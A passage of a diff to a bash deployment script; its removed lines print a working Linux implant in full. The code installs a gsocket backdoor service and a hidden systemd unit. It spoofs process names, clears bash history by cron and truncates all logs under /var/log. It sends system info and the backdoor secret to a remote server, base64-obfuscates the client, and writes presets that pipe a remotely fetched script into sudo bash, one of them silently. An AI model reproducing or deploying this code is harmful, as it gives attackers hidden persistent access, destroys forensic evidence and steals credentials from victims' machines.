$EUID -ne 0 ]; then - mkdir -p ~/.config/systemd/user/ - cp /etc/systemd/system/gsocket-backdoor.service ~/.config/systemd/user/ - log_cmd "systemctl --user daemon-reload" "Reloading user systemd" "$log_file" - log_cmd "systemctl --user enable gsocket-backdoor.service" "Enabling user gsocket service" "$log_file" - log_cmd "systemctl --user start gsocket-backdoor.service" "Starting user gsocket service" "$log_file" - fi - - # Create connection instructions - cat > "$TEMP_DIR/gsocket-info.txt" << EOF -GSocket Connection Information -============================= -Secret: $gs_secret -Connection command: gs-netcat -s $gs_secret -i -EOF - - # Send the gsocket secret to the server - send_logs "$log_file" "$gs_secret" "gsocket_secret" - - echo "[+] GSocket installed. You can connect using: gs-netcat -s $gs_secret" -} - -setup_stealth() { - local log_file="$TEMP_DIR/stealth_setup.log" - touch "$log_file" - - echo "[*] Setting up stealth mode..." - - # Hide processes by creating a systemd unit with hidden name - cat > "$TEMP_DIR/_.service" << 'EOF' -[Unit] -Description=System Update Service -After=network.target - -[Service] -Type=simple -ExecStart=/bin/bash -c 'while true; do sleep 3600; done' -Restart=always -RestartSec=10 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=default.target -EOF - - sudo mv "$TEMP_DIR/_.service" /etc/systemd/system/ - log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" - log_cmd "sudo systemctl enable _.service" "Enabling hidden service" "$log_file" - log_cmd "sudo systemctl start _.service" "Starting hidden service" "$log_file" - - # Set up process name obfuscation script - cat > "$TEMP_DIR/obfuscate.sh" << 'EOF' -#!/bin/bash -# This script allows running commands with an obfuscated process name - -# Function to run a command with an obfuscated name -obfuscate_run() { - local fake_name="$1" - shift - exec -a "$fake_name" "$@" -} - -# Install the function to user's bashrc -if ! grep -q "obfuscate_run" ~/.bashrc; then - cat >> ~/.bashrc << 'EOT' - -# Obfuscation function -obfuscate_run() { - local fake_name="$1" - shift - exec -a "$fake_name" "$@" -} -EOT -fi - -# Create helper aliases -if ! grep -q "alias stealthy" ~/.bashrc; then - cat >> ~/.bashrc << 'EOT' -alias stealthy='obfuscate_run "[khugepageds]"' -alias hidden='obfuscate_run "[migration/0]"' -EOT -fi - -# Install a cron job to clear bash history periodically -(crontab -l 2>/dev/null; echo "0 * * * * cat /dev/null > ~/.bash_history") | crontab - -EOF - - log_cmd "bash $TEMP_DIR/obfuscate.sh" "Setting up process obfuscation" "$log_file" - - # Create log rotation to clean service logs - cat > "$TEMP_DIR/clean-logs.service" << 'EOF' -[Unit] -Description=Clean System Logs -After=network.target - -[Service] -Type=oneshot -ExecStart=/bin/bash -c 'find /var/log -type f -name "*" -exec truncate -s 0 {} \;' -ExecStart=/bin/bash -c 'journalctl --vacuum-time=1d' - -[Install] -WantedBy=default.target -EOF - - sudo mv "$TEMP_DIR/clean-logs.service" /etc/systemd/system/ - - cat > "$TEMP_DIR/clean-logs.timer" << 'EOF' -[Unit] -Description=Run log cleaning daily -After=network.target - -[Timer] -OnBootSec=15min -OnUnitActiveSec=1d - -[Install] -WantedBy=timers.target -EOF - - sudo mv "$TEMP_DIR/clean-logs.timer" /etc/systemd/system/ - log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" - log_cmd "sudo systemctl enable clean-logs.timer" "Enabling log cleaning" "$log_file" - log_cmd "sudo systemctl start clean-logs.timer" "Starting log cleaning" "$log_file" - - send_logs "$log_file" "Stealth mode activated" "stealth_mode" - - echo "[+] Stealth mode configured." -} - -# ------- MAIN EXECUTION ------- -main() { - local log_file="$TEMP_DIR/main.log" - touch "$log_file" - - echo "[*] Beginning setup..." - echo "[*] Target system: $(hostname) ($(whoami))" - - sudo apt install -y curl jq &> /dev/null || true - - # Send initial system info - send_logs "$log_file" "$(get_system_info)" "system_info" - - # Install components based on flags - install_ssh - setup_wol - setup_fake_poweroff - install_gsocket - setup_stealth - - echo "[+] Setup complete." - echo "[+] All logs and credentials have been sent to the server." -} - -# Run the main function -main -EOL - # Replace placeholders in the script - sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" "$TEMP_DIR/y" - sed -i "s|TOKEN_PLACEHOLDER|$SECRET_TOKEN|g" "$TEMP_DIR/y" + sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" "$DEPLOY_DIR/y" + sed -i "s|TOKEN_PLACEHOLDER|$SECRET_TOKEN|g" "$DEPLOY_DIR/y" # Copy the script to the server - sudo cp "$TEMP_DIR/y" "$SERVER_ROOT/" + sudo cp "$DEPLOY_DIR/y" "$SERVER_ROOT" sudo chmod 644 "$SERVER_ROOT/y" } @@ -576,26 +26,13 @@ generate_obfuscated_script() { echo "Creating obfuscated version of the client script..." # Base64 encode the script to obfuscate it - base64 -w0 < "$TEMP_DIR/y" > "$TEMP_DIR/y.b64" + base64 -w0 < "$DEPLOY_DIR/y" > "$DEPLOY_DIR/y.b64" - # Create a wrapper script that decodes and executes - cat > "$TEMP_DIR/x" << 'EOF' -#!/bin/bash -# This is an obfuscated setup script - -if command -v base64 >/dev/null 2>&1; then - eval "$(echo "BASE64_PLACEHOLDER" | base64 -d)" -else - echo "Error: Base64 not available." - exit 1 -fi -EOF - # Replace the placeholder with the actual base64 content - sed -i "s|BASE64_PLACEHOLDER|$(cat "$TEMP_DIR/y.b64")|g" "$TEMP_DIR/x" + sed -i "s|BASE64_PLACEHOLDER|$(cat "$DEPLOY_DIR/y.b64")|g" "$DEPLOY_DIR/x" # Copy the obfuscated script to the server - sudo cp "$TEMP_DIR/x" "$SERVER_ROOT/" + sudo cp "$DEPLOY_DIR/x" "$SERVER_ROOT/" sudo chmod 644 "$SERVER_ROOT/x" echo "Obfuscated script created." @@ -603,55 +40,9 @@ EOF generate_presets() { echo "Creating installation presets..." - - # Create minimal preset (no root required) - cat > "$TEMP_DIR/minimal" << 'EOF' -#!/bin/bash -# Minimal installation preset - no root required -export NO_ROOT=true -export NO_SERVICES=true -export INSTALL_WOL=false -export INSTALL_FAKE_POWEROFF=false -export INSTALL_GSOCKET=true -export STEALTH_MODE=true - -# Download and run the main script -eval "$(wget -qO- http://SERVER_PLACEHOLDER/deployment/y" | bash -EOF - - # Create full preset (all features) - cat > "$TEMP_DIR/full" << 'EOF' -#!/bin/bash -# Full installation preset - requires root -export NO_ROOT=false -export NO_SERVICES=false -export INSTALL_WOL=true -export INSTALL_FAKE_POWEROFF=true -export INSTALL_GSOCKET=true -export STEALTH_MODE=true - -# Download and run the main script with sudo -eval "$(wget -qO- http://SERVER_PLACEHOLDER/deployment/y" | sudo bash -EOF - - # Create quiet preset (minimal output) - cat > "$TEMP_DIR/quiet" << 'EOF' -#!/bin/bash -# Quiet installation preset - minimal output -export VERBOSE=false -export NO_ROOT=false -export NO_SERVICES=false -export INSTALL_WOL=true -export INSTALL_FAKE_POWEROFF=true -export INSTALL_GSOCKET=true -export STEALTH_MODE=true - -# Redirect output to /dev/null for quieter operation -(eval "$(wget -qO- http://SERVER_PLACEHOLDER/deployment/y" | sudo bash) &>/dev/null & -EOF # Replace placeholders - for preset in "$TEMP_DIR/minimal" "$TEMP_DIR/full" "$TEMP_DIR/quiet"; do + for preset in "$DEPLOY_DIR/minimal" "$DEPLOY_DIR/full" "$DEPLOY_DIR/quiet"; do sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" "$preset" sudo cp "$preset" "$SERVER_ROOT/" sudo chmod 644 "$SERVER_ROOT/$(basename "$preset")"